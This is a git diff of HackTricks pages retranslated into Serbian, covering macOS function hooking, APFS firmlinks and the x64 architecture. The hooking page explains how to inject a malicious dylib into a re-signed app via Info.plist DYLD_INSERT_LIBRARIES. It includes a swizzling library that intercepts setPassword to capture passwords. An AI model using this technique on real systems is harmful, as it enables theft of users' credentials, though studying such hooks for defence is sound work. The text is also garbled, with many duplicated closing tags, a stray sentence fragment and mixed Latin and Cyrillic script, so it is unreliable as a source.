Kreirajte **dylib** sa **`__interpose`** sekcijom (ili sekcijom označenom sa **`S_INTERPOSING`**) koja sadrži parove **pokazivača na funkcije** koji se odnose na **originalne** i **zamenske** funkcije.
|
||||
|
||||
Zatim, **ubacite** dylib sa **`DYLD_INSERT_LIBRARIES`** (interponiranje treba da se desi pre nego što se glavna aplikacija učita). Očigledno, [**ograničenja** koja se primenjuju na korišćenje **`DYLD_INSERT_LIBRARIES`** se takođe primenjuju ovde](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
Zatim, **ubacite** dylib sa **`DYLD_INSERT_LIBRARIES`** (interpozicija treba da se desi pre nego što se glavna aplikacija učita). Očigledno, [**ograničenja** koja se primenjuju na korišćenje **`DYLD_INSERT_LIBRARIES`** važe i ovde](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
|
||||
### Interponiranje printf
|
||||
### Interpozicija printf
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="interpose.c" %}
|
||||
|
@ -56,6 +57,8 @@ printf("Hello World!\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="interpose2.c" %}
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
|
@ -89,23 +92,23 @@ Hello from interpose
|
|||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
## Metoda Swizzling
|
||||
## Method Swizzling
|
||||
|
||||
U ObjectiveC-u se metoda poziva na sledeći način: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
U ObjectiveC, ovako se poziva metoda: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Potrebni su **objekat**, **metoda** i **parametri**. Kada se metoda pozove, **poruka se šalje** koristeći funkciju **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
Potrebni su **objekat**, **metoda** i **parametri**. Kada se metoda pozove, **msg se šalje** koristeći funkciju **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Objekat je **`someObject`**, metoda je **`@selector(method1p1:p2:)`** i argumenti su **value1**, **value2**.
|
||||
Objekat je **`someObject`**, metoda je **`@selector(method1p1:p2:)`**, a argumenti su **value1**, **value2**.
|
||||
|
||||
Prateći strukture objekata, moguće je doći do **niza metoda** gde se **nalaze nazivi** i **pokazivači** na kod metode.
|
||||
Prateći strukture objekata, moguće je doći do **niza metoda** gde su **imena** i **pokazivači** na kod metoda **locirani**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da se zbog pristupa metodama i klasama na osnovu njihovih naziva, ove informacije čuvaju u binarnom formatu, pa je moguće dobiti pristup njima pomoću `otool -ov </path/bin>` ili [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
Napomena: pošto se metode i klase pristupaju na osnovu njihovih imena, ove informacije se čuvaju u binarnom formatu, tako da je moguće povući ih sa `otool -ov </path/bin>` ili [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
{% endhint %}
|
||||
|
||||
### Pristupanje sirovim metodama
|
||||
### Accessing the raw methods
|
||||
|
||||
Moguće je pristupiti informacijama o metodama kao što su naziv, broj parametara ili adresa, kao u sledećem primeru:
|
||||
Moguće je pristupiti informacijama o metodama kao što su ime, broj parametara ili adresa kao u sledećem primeru:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
|
@ -171,12 +174,12 @@ NSLog(@"Uppercase string: %@", uppercaseString3);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
### Zamena metoda pomoću method\_exchangeImplementations
|
||||
### Method Swizzling with method\_exchangeImplementations
|
||||
|
||||
Funkcija **`method_exchangeImplementations`** omogućava **promenu** **adrese** **implementacije** jedne funkcije za drugu.
|
||||
Funkcija **`method_exchangeImplementations`** omogućava da se **promeni** **adresa** **implementacije** **jedne funkcije za drugu**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dakle, kada se pozove funkcija, izvršava se druga funkcija.
|
||||
Dakle, kada se funkcija pozove, ono što je **izvršeno je drugo**.
|
||||
{% endhint %}
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
@ -222,16 +225,16 @@ return 0;
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
U ovom slučaju, ako **implementacioni kod legitimne** metode **proverava** ime metode, mogao bi **detektovati** ovu zamenu i sprečiti je da se izvrši.
|
||||
U ovom slučaju, ako **implementacija koda legitimne** metode **proverava** **ime** **metode**, mogla bi **otkriti** ovo swizzling i sprečiti njegovo izvršavanje.
|
||||
|
||||
Sledeća tehnika nema ovu restrikciju.
|
||||
Sledeća tehnika nema ovo ograničenje.
|
||||
{% endhint %}
|
||||
|
||||
### Zamena metoda pomoću method\_setImplementation
|
||||
### Method Swizzling with method\_setImplementation
|
||||
|
||||
Prethodni format je čudan jer menjate implementaciju 2 metode jednu drugom. Korišćenjem funkcije **`method_setImplementation`** možete **promeniti implementaciju** jedne **metode za drugu**.
|
||||
Prethodni format je čudan jer menjate implementaciju 2 metode jednu za drugu. Koristeći funkciju **`method_setImplementation`**, možete **promeniti** **implementaciju** **metode za drugu**.
|
||||
|
||||
Samo se setite da **sačuvate adresu implementacije originalne metode** ako ćete je pozivati iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovano locirati tu adresu.
|
||||
Samo zapamtite da **sačuvate adresu implementacije originalne** metode ako planirate da je pozovete iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovanije locirati tu adresu.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
@ -283,17 +286,17 @@ return 0;
|
|||
}
|
||||
}
|
||||
```
|
||||
## Metodologija napada korišćenjem hookinga
|
||||
## Hooking Attack Methodology
|
||||
|
||||
Na ovoj stranici su razmatrani različiti načini za hookovanje funkcija. Međutim, oni uključuju **izvršavanje koda unutar procesa kako bi se izvršio napad**.
|
||||
Na ovoj stranici su diskutovani različiti načini za hook-ovanje funkcija. Međutim, oni su uključivali **izvršavanje koda unutar procesa za napad**.
|
||||
|
||||
Da bi se to postiglo, najlakša tehnika koju možete koristiti je ubrizgavanje [Dyld-a putem promenljivih okruženja ili preuzimanje kontrole](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Međutim, pretpostavljam da se to takođe može uraditi putem [Dylib procesnog ubrizgavanja](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
Da bi se to postiglo, najlakša tehnika koja se može koristiti je injekcija [Dyld putem promenljivih okruženja ili otmice](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Međutim, pretpostavljam da se to takođe može uraditi putem [Dylib procesne injekcije](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
|
||||
Međutim, obe opcije su **ograničene** na **nezaštićene** binarne fajlove/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.
|
||||
Međutim, obe opcije su **ograničene** na **nezaštićene** binarne/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.
|
||||
|
||||
Međutim, napad korišćenjem hookinga je veoma specifičan, napadač će to uraditi kako bi **ukrao osetljive informacije iznutra procesa** (ako to nije slučaj, onda bi se koristio napad ubrizgavanjem procesa). A ove osetljive informacije mogu se nalaziti u aplikacijama koje su preuzete od strane korisnika, kao što je MacPass.
|
||||
Međutim, napad putem hook-ovanja funkcija je veoma specifičan, napadač će to uraditi da bi **ukrao osetljive informacije iznutra procesa** (ako ne, jednostavno biste uradili napad injekcijom procesa). A te osetljive informacije mogu biti smeštene u aplikacijama preuzetim od strane korisnika, kao što je MacPass.
|
||||
|
||||
Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacije, ubrizga **`DYLD_INSERT_LIBRARIES`** promenljivu okruženja putem Info.plist fajla aplikacije dodajući nešto poput:
|
||||
Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacije, injektuje **`DYLD_INSERT_LIBRARIES`** env promenljivu kroz Info.plist aplikacije dodajući nešto poput:
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
|
@ -301,7 +304,7 @@ Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacij
|
|||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
a zatim **ponovo registrujte** aplikaciju:
|
||||
и онда **поново региструј** апликацију:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -309,10 +312,10 @@ a zatim **ponovo registrujte** aplikaciju:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dodajte u tu biblioteku kod za hakovanje kako biste izvukli informacije: Lozinke, poruke...
|
||||
Dodajte u tu biblioteku kod za hooking kako biste eksfiltrirali informacije: Lozinke, poruke...
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da u novijim verzijama macOS-a, ako **uklonite potpis** aplikacijskog binarnog koda i ako je prethodno izvršen, macOS više **neće izvršavati aplikaciju**.
|
||||
Imajte na umu da u novijim verzijama macOS-a, ako **uklonite potpis** aplikacionog binarnog fajla i ako je prethodno bio izvršen, macOS **neće više izvršavati aplikaciju**.
|
||||
{% endhint %}
|
||||
|
||||
#### Primer biblioteke
|
||||
|
@ -351,20 +354,21 @@ IMP fake_IMP = (IMP)custom_setPassword;
|
|||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
## Reference
|
||||
## References
|
||||
|
||||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,81 @@
|
|||
# macOS AppleFS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Apple Proprietary File System (APFS)
|
||||
|
||||
**Apple File System (APFS)** je moderni fajl sistem dizajniran da zameni Hierarchical File System Plus (HFS+). Njegov razvoj je pokrenut potrebom za **unapređenom performansom, sigurnošću i efikasnošću**.
|
||||
**Apple File System (APFS)** je moderan fajl sistem dizajniran da zameni Hierarchical File System Plus (HFS+). Njegov razvoj je vođen potrebom za **poboljšanom performansom, sigurnošću i efikasnošću**.
|
||||
|
||||
Neki značajni elementi APFS-a uključuju:
|
||||
Neke od značajnih karakteristika APFS uključuju:
|
||||
|
||||
1. **Deljenje prostora**: APFS omogućava više volumena da **deli isti slobodni prostor** na jednom fizičkom uređaju. Ovo omogućava efikasnije korišćenje prostora jer se volumeni mogu dinamički povećavati i smanjivati bez potrebe za ručnim promenama veličine ili reparticioniranjem.
|
||||
1. Ovo znači, u poređenju sa tradicionalnim particijama na fajl diskovima, **da u APFS-u različite particije (volumeni) dele sav prostor na disku**, dok je uobičajena particija obično imala fiksnu veličinu.
|
||||
2. **Snapshotovi**: APFS podržava **kreiranje snapshotova**, koji su **samo za čitanje**, trenutni trenuci fajl sistema. Snapshotovi omogućavaju efikasne rezerve i jednostavna vraćanja sistema, jer zauzimaju minimalan dodatni prostor i mogu se brzo kreirati ili vratiti.
|
||||
3. **Klonovi**: APFS može **kreirati klonove fajlova ili direktorijuma koji dele isti prostor za skladištenje** kao originalni fajl sve dok se klon ili originalni fajl ne izmene. Ova funkcija pruža efikasan način za kreiranje kopija fajlova ili direktorijuma bez dupliranja prostora za skladištenje.
|
||||
4. **Enkripcija**: APFS **nativno podržava enkripciju celog diska**, kao i enkripciju po fajlu i po direktorijumu, poboljšavajući sigurnost podataka u različitim slučajevima upotrebe.
|
||||
5. **Zaštita od pada sistema**: APFS koristi šemu metapodataka **kopiranja pri pisanju koja obezbeđuje doslednost fajl sistema** čak i u slučajevima iznenadnog gubitka napajanja ili pada sistema, smanjujući rizik od oštećenja podataka.
|
||||
1. **Deljenje prostora**: APFS omogućava više volumena da **dele isti osnovni slobodni prostor** na jednom fizičkom uređaju. Ovo omogućava efikasnije korišćenje prostora jer volumeni mogu dinamički rasti i opadati bez potrebe za ručnim promenama veličine ili reparticionisanjem.
|
||||
1. To znači, u poređenju sa tradicionalnim particijama na diskovima, **da u APFS različite particije (volumeni) dele sav prostor na disku**, dok je obična particija obično imala fiksnu veličinu.
|
||||
2. **Snapshot-ovi**: APFS podržava **kreiranje snapshot-ova**, koji su **samo za čitanje**, tačne instance fajl sistema. Snapshot-ovi omogućavaju efikasne rezervne kopije i jednostavne povratke sistema, jer troše minimalan dodatni prostor i mogu se brzo kreirati ili vratiti.
|
||||
3. **Kloni**: APFS može **kreirati klonove fajlova ili direktorijuma koji dele isti prostor** kao original dok se ili klon ili originalni fajl ne izmeni. Ova funkcija pruža efikasan način za kreiranje kopija fajlova ili direktorijuma bez dupliranja prostora za skladištenje.
|
||||
4. **Enkripcija**: APFS **nativno podržava enkripciju celog diska** kao i enkripciju po fajlu i po direktorijumu, poboljšavajući sigurnost podataka u različitim slučajevima korišćenja.
|
||||
5. **Zaštita od pada**: APFS koristi **shemu metapodataka kopiranja pri pisanju koja osigurava doslednost fajl sistema** čak i u slučajevima iznenadnog gubitka napajanja ili pada sistema, smanjujući rizik od oštećenja podataka.
|
||||
|
||||
Ukupno gledano, APFS nudi moderniji, fleksibilniji i efikasniji fajl sistem za Apple uređaje, sa fokusom na unapređenu performansu, pouzdanost i sigurnost.
|
||||
Sve u svemu, APFS nudi moderniji, fleksibilniji i efikasniji fajl sistem za Apple uređaje, sa fokusom na poboljšanu performansu, pouzdanost i sigurnost.
|
||||
```bash
|
||||
diskutil list # Get overview of the APFS volumes
|
||||
```
|
||||
## Firmlinks
|
||||
|
||||
`Data` volumen je montiran u **`/System/Volumes/Data`** (možete to provjeriti sa `diskutil apfs list`).
|
||||
`Data` volumen je montiran u **`/System/Volumes/Data`** (možete to proveriti sa `diskutil apfs list`).
|
||||
|
||||
Lista firmlinks-a se može pronaći u datoteci **`/usr/share/firmlinks`**.
|
||||
Lista firmlinks-a može se naći u **`/usr/share/firmlinks`** datoteci.
|
||||
```bash
|
||||
cat /usr/share/firmlinks
|
||||
/AppleInternal AppleInternal
|
||||
/Applications Applications
|
||||
/Library Library
|
||||
[...]
|
||||
```
|
||||
Na **levom** delu se nalazi putanja direktorijuma na **Sistemskom volumenu**, a na **desnom** delu se nalazi putanja direktorijuma gde se mapira na **Podatkovnom volumenu**. Dakle, `/library` --> `/system/Volumes/data/library`
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,86 +1,88 @@
|
|||
# Uvod u x64
|
||||
# Увод у x64
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Uvod u x64**
|
||||
## **Увод у x64**
|
||||
|
||||
x64, poznat i kao x86-64, je arhitektura procesora od 64 bita koja se uglavnom koristi u desktop i serverskom računarstvu. Potiče od x86 arhitekture proizvedene od strane Intela, a kasnije je usvojena od strane AMD-a pod imenom AMD64, i danas je dominantna arhitektura u ličnim računarima i serverima.
|
||||
x64, познат и као x86-64, је 64-битна архитектура процесора која се превасно користи у десктоп и серверском рачунарству. Потиче из x86 архитектуре коју је произвео Intel, а касније је усвојила AMD под именом AMD64, и данас је преовлађујућа архитектура у личним рачунарима и серверима.
|
||||
|
||||
### **Registri**
|
||||
### **Регистри**
|
||||
|
||||
x64 proširuje x86 arhitekturu, uključujući **16 registara opšte namene** označenih kao `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, i `r8` do `r15`. Svaki od njih može čuvati vrednost od **64 bita** (8 bajtova). Ovi registri takođe imaju 32-bitne, 16-bitne i 8-bitne pod-registre radi kompatibilnosti i specifičnih zadataka.
|
||||
x64 се проширује на x86 архитектуру, имајући **16 регистара опште намене** обележених `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, и `r8` до `r15`. Сваки од ових може да чува **64-битну** (8-бајтну) вредност. Ови регистри такође имају 32-битне, 16-битне и 8-битне подрегистре за компатибилност и специфичне задатке.
|
||||
|
||||
1. **`rax`** - Tradicionalno se koristi za **vrednosti povratka** iz funkcija.
|
||||
2. **`rbx`** - Često se koristi kao **bazni registar** za operacije sa memorijom.
|
||||
3. **`rcx`** - Obično se koristi za **brojače petlji**.
|
||||
4. **`rdx`** - Koristi se u različitim ulogama uključujući proširene aritmetičke operacije.
|
||||
5. **`rbp`** - **Bazni pokazivač** za okvir steka.
|
||||
6. **`rsp`** - **Pokazivač steka**, prati vrh steka.
|
||||
7. **`rsi`** i **`rdi`** - Koriste se za **izvore** i **odredišta** indeksa u string/memorijskim operacijama.
|
||||
8. **`r8`** do **`r15`** - Dodatni registri opšte namene uvedeni u x64.
|
||||
1. **`rax`** - Традиционално се користи за **вредности повратка** из функција.
|
||||
2. **`rbx`** - Често се користи као **базни регистар** за операције са меморијом.
|
||||
3. **`rcx`** - Обично се користи за **бројаче петљи**.
|
||||
4. **`rdx`** - Користи се у разним улогама укључујући проширене аритметичке операције.
|
||||
5. **`rbp`** - **Базни показивач** за стек фрејм.
|
||||
6. **`rsp`** - **Показивач стека**, прати врх стека.
|
||||
7. **`rsi`** и **`rdi`** - Користе се за **изворне** и **одредишне** индексе у операцијама са низовима/меморијом.
|
||||
8. **`r8`** до **`r15`** - Додатни регистри опште намене уведени у x64.
|
||||
|
||||
### **Konvencija pozivanja**
|
||||
### **Конвенција позива**
|
||||
|
||||
Konvencija pozivanja u x64 varira između operativnih sistema. Na primer:
|
||||
Конвенција позива x64 варира између оперативних система. На пример:
|
||||
|
||||
* **Windows**: Prva **četiri parametra** se prosleđuju u registrima **`rcx`**, **`rdx`**, **`r8`**, i **`r9`**. Dodatni parametri se guraju na stek. Vrednost povratka je u **`rax`**.
|
||||
* **System V (često korišćen u UNIX-sličnim sistemima)**: Prva **šest celobrojnih ili pokazivačkih parametara** se prosleđuju u registrima **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, i **`r9`**. Vrednost povratka je takođe u **`rax`**.
|
||||
* **Windows**: Прва **четири параметра** се преносе у регистре **`rcx`**, **`rdx`**, **`r8`**, и **`r9`**. Додатни параметри се стављају на стек. Вредност повратка је у **`rax`**.
|
||||
* **System V (обично коришћен у UNIX-подобним системима)**: Првих **шест целих или показивачких параметара** се преносе у регистре **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, и **`r9`**. Вредност повратка је такође у **`rax`**.
|
||||
|
||||
Ako funkcija ima više od šest ulaza, **ostali će biti prosleđeni na stek**. **RSP**, pokazivač steka, mora biti **poravnan na 16 bajtova**, što znači da adresa na koju pokazuje mora biti deljiva sa 16 pre bilo kog poziva. To znači da obično moramo da se pobrinemo da je RSP pravilno poravnan u našem shell kodu pre nego što pozovemo funkciju. Međutim, u praksi, sistemski pozivi često funkcionišu čak i ako ovaj zahtev nije ispunjen.
|
||||
Ако функција има више од шест улаза, **остали ће бити пренесени на стек**. **RSP**, показивач стека, мора бити **поредио на 16 бајтова**, што значи да адреса на коју указује мора бити делива са 16 пре него што се било који позив деси. То значи да обично морамо осигурати да је RSP правилно поређен у нашем shellcode-у пре него што направимо позив функције. Међутим, у пракси, системски позиви функционишу много пута иако овај захтев није испуњен.
|
||||
|
||||
### Konvencija pozivanja u Swift-u
|
||||
### Конвенција позива у Swift
|
||||
|
||||
